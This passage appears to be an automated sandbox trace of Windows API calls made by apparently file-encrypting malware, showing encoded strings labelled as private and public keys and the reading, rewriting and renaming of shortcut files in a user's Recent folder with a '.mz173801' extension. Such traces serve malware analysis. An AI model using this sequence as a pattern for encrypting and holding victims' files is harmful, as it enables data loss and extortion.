7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.574] GetCurrentThreadId () returned 0xab4 [0147.574] GetCurrentThreadId () returned 0xab4 [0147.574] GetCurrentThreadId () returned 0xab4 [0147.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.574] GetCurrentThreadId () returned 0xab4 [0147.574] GetCurrentThreadId () returned 0xab4 [0147.574] GetCurrentThreadId () returned 0xab4 [0147.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eidmvaoqadiue.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.575] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.575] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.575] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x297 [0147.575] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.575] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x297, lpOverlapped=0x0) returned 1 [0147.576] CloseHandle (hObject=0x280) returned 1 [0147.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eidmvaoqadiue.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.576] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x297, lpOverlapped=0x0) returned 1 [0147.577] CloseHandle (hObject=0x280) returned 1 [0147.578] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eidmvaoqadiue.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eidmvaoqadiue.lnk.mz173801")) returned 1 [0147.579] GetCurrentThreadId () returned 0xab4 [0147.579] GetCurrentThreadId () returned 0xab4 [0147.579] GetCurrentThreadId () returned 0xab4 [0147.579] GetCurrentThreadId () returned 0xab4 [0147.579] GetCurrentThreadId () returned 0xab4 [0147.579] GetCurrentThreadId () returned 0xab4 [0147.579] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40fddc85, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x40fddc85, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x41003e65, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eOmjS8.lnk", cAlternateFileName="")) returned 1 [0147.579] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.579] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eomjs8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40fddc85, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x40fddc85, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x41003e65, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4d6)) returned 1 [0147.579] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eomjs8.lnk")) returned 0x20 [0147.579] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eOmjS8.lnk", dwFileAttributes=0x80) returned 1 [0147.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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